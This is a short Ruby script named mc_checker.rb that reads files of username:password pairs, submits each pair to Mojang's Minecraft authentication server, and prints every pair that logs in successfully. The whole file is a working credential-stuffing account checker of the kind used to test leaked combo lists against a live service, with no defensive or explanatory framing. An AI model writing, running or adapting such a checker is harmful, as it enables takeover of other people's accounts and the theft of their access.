mc_checker.rb

require 'httparty'
require 'json'

AUTH_URL = 'https://authserver.mojang.com/authenticate'

accounts = ARGV.flat_map do |arg|
  File.read(arg).split("\n").map { |l| l.split ":" }
end

accounts.each do |user, pass|
  body = {
    agent: {
      name: 'Minecraft',
      version: 1
    },
    username: user,
    password: pass
  }.to_json

  headers = {
    'Content-Type' => 'application/json'
  }

  res = HTTParty.post(AUTH_URL, body: body, headers: headers).parsed_response

  unless res['error']
    puts "[SUCCESS] #{user}:#{pass}"
  end
  
end